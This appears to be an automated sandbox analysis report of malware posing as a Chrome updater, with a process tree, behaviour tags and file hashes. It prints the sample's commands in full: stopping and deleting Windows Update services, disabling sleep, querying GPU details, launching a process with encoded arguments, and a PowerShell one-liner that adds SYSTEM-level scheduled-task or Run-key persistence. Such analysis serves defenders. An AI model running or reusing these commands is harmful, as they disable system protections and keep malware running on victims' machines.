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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4572 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:1320
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:3136
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:5056
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:372
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:3804
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:4400
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:2952
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵PID:2640
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:3388
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:2220
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
PID:4668 -
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵PID:1920
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C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵PID:1264
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵PID:5052
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C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵PID:564
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe etzzkakmg2⤵
- Suspicious behavior: EnumeratesProcesses
PID:5016 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"3⤵
- Drops file in Program Files directory
PID:640
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:4396 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵PID:3144
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe ztzptsnoedioejdw 9iglejqod3hFFxVhkr+WUaol7tpsq+sx3xs4hsVXOg+m/MQNrGWjJxY7q+IriA/on0Hr8KA98LUOT5htKhbexvQM3CPn32BhsKxg1njCTOhUeztmqm8Mu/ZFhejkqTEpJHxOXGbz6fkYGFdYncO7npPPBS03OOiqaTGas+PgMCqGPbreQed32DvfYpa0SQ2FJR9dTs7giUOVM3pXJtMKLvbAgrjXk3uGyZ0rmkqINAQ=2⤵PID:3284
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4600 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#hpfjuzary#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4632
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
53.0MB
MD55c4eecf00e9f6e0222c205c3dc327bb8
SHA12188e4b277e214364804a4ffcef23017a769722f
SHA2562fa065de1468413ea4f909f527e4b7d03bca047c5d4adf1dfa7ade9155ad84e3
SHA5120b1761d562484cf54a43599e84836b595dc948f86ecc438ef9bfcb9a30d40e0e51046ff4e3a1d30516971fe92ccb233d0f06613ff17695f9075185effc77db39
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Filesize
53.0MB
MD55c4eecf00e9f6e0222c205c3dc327bb8
SHA12188e4b277e214364804a4ffcef23017a769722f
SHA2562fa065de1468413ea4f909f527e4b7d03bca047c5d4adf1dfa7ade9155ad84e3
SHA5120b1761d562484cf54a43599e84836b595dc948f86ecc438ef9bfcb9a30d40e0e51046ff4e3a1d30516971fe92ccb233d0f06613ff17695f9075185effc77db39
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD53a6bad9528f8e23fb5c77fbd81fa28e8
SHA1f127317c3bc6407f536c0f0600dcbcf1aabfba36
SHA256986366767de5873f1b170a63f2a33ce05132d1afd90c8f5017afbca8ef1beb05
SHA512846002154a0ece6f3e9feda6f115d3161dc21b3789525dd62ae1d9188495171293efdbe7be4710666dd8a15e66b557315b5a02918a741ed1d5f3ff0c515b98e2
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Filesize
1KB
MD5a16b84830c7c18df54f25c15d0f81951
SHA19d817fc72fbaf76175e677dec66002e9bdff6da0
SHA2560d7a62ab7c299a90db4e2ec1a6c4b10e7bf17879f699f042728e7f4870c69a53
SHA51298b62f81111e958787db2137649d7ae1769ae142dce1d824a8093283fac50846f59e0b1e1cfe26ed07322bee1c8ddad2bc1b18a0d69ecaa1f79c7a9bc26300b6
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5